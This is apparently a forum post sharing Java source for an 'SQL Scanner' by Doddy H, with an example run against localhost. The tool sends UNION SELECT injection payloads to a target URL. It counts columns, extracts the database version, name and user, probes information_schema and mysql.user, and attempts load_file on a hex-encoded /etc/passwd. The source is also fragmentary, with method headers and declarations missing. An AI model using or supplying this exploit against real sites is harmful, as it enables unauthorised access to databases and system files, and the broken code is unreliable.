Código
//SQL Scanner 0.1 //Coded By Doddy H import java.util.Scanner; import java.io.*; import java.net.*; import java.util.regex.Matcher; import java.util.regex.Pattern; public class Main { String codex; String target; Pattern uno = null; Matcher dos = null; target = host.nextLine(); codex = toma(target + "-1+union+select+666--"); uno = Pattern.compile("The used SELECT statements have a different number of columns"); dos = uno.matcher(codex); if (dos.find()) { int x; String urlfinal; String otrofinal; String code; String formariny; String otroformar; String link; urlfinal = ""; formariny = ""; for (x = 1; x <= 5; x = x + 1) { //urlfinal = urlfinal+x+","; urlfinal = urlfinal + encodehex("RATSXPDOWN" + x) + ","; formariny = formariny + x + ","; otrofinal = urlfinal; otroformar = formariny; otrofinal = otrofinal.substring(0, otrofinal.length() - 1); otroformar = otroformar.substring(0, otroformar.length() - 1); code = toma(target + "-1+union+select+" + otrofinal); uno = Pattern.compile("RATSXPDOWN(\\d+)"); dos = uno.matcher(code); if (dos.find()) { otroformar = otroformar.replace(dos.group(1), "hackman"); link = target + "-1+union+select+" + otroformar; savefile("logs-scansql.txt", "[Target] : " + link); savefile("logs-scansql.txt", "[Limit] : The site has " + x + " columns"); savefile("logs-scansql.txt", "[Data] : The number " + dos.group(1) + " print data"); details(link); savefile("logs-scansql.txt", "\n-----------------\n"); } } } else { } } String concat; String code; Pattern uno = null; Matcher dos = null; concat = "concat(char(69,82,84,79,82,56,53,52),version(),char(69,82,84,79,82,56,53,52),database(),char(69,82,84,79,82,56,53,52),user(),char(69,82,84,79,82,56,53,52))"; urla = urla.replace("hackman", concat); code = toma(urla); uno = Pattern.compile("ERTOR854(.*)ERTOR854(.*)ERTOR854(.*)ERTOR854"); dos = uno.matcher(code); if (dos.find()) { savefile("logs-scansql.txt", "[+] DB Version : " + dos.group(1)); savefile("logs-scansql.txt", "[+] DB Name : " + dos.group(2)); savefile("logs-scansql.txt", "[+] Username : " + dos.group(3)); } else { } urla = urla.replace(concat, "char(69,82,84,79,82,56,53,52)"); code = toma(urla + "+from+information_schema.tables--"); uno = Pattern.compile("ERTOR854"); dos = uno.matcher(code); if (dos.find()) { savefile("logs-scansql.txt", "[+] information_schema : on"); } else { } code = toma(urla + "+from+mysql.user--"); uno = Pattern.compile("ERTOR854"); dos = uno.matcher(code); if (dos.find()) { savefile("logs-scansql.txt", "[+] mysqluser : on"); } else { } urla = urla.replace("char(69,82,84,79,82,56,53,52)", "concat(char(69,82,84,79,82,56,53,52),load_file(0x2f6574632f706173737764))"); //ystem.out.print(urla); code = toma(urla); uno = Pattern.compile("ERTOR854"); dos = uno.matcher(code); if (dos.find()) { savefile("logs-scansql.txt", "[-] load_file : on"); } else { } } writer.write(texto + "\r\n"); writer.close(); } String re; hc.setRequestProperty("User-Agent", "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12"); while ((re = nave.readLine()) != null) { conte.append(re); } nave.close(); return conte.toString(); } //Thanks to Katarina Majetic //Based on http://www.dzone.com/snippets/encode-string-hex byte[] z = text.getBytes(); String l; int n; int a = z.length; int u; for (n = 0; n < a; n++) { u = z[n] & 0x000000FF; h.append(l); } return "0x" + h.toString(); } } //The End ?
Ejemplo de uso
Código:
-- == SQL Scanner 0.1 == --
[+] Page :
http://localhost/sql.php?id=
[+] Checking ...
[+] Scanning ...
[Target] : http://localhost/sql.php?id=-1+union+select+hackman,2,3
[Limit] : The site has 3 columns
[Data] : The number 1 print data
[+] Searching informaion ...
[+] DB Version : 5.5.20-log
[+] DB Name : hackman
[+] Username : root@localhost
[+] information_schema : on
[+] mysqluser : on
[-] load_file : off
[+] Finished
-- == Coded By Doddy H == --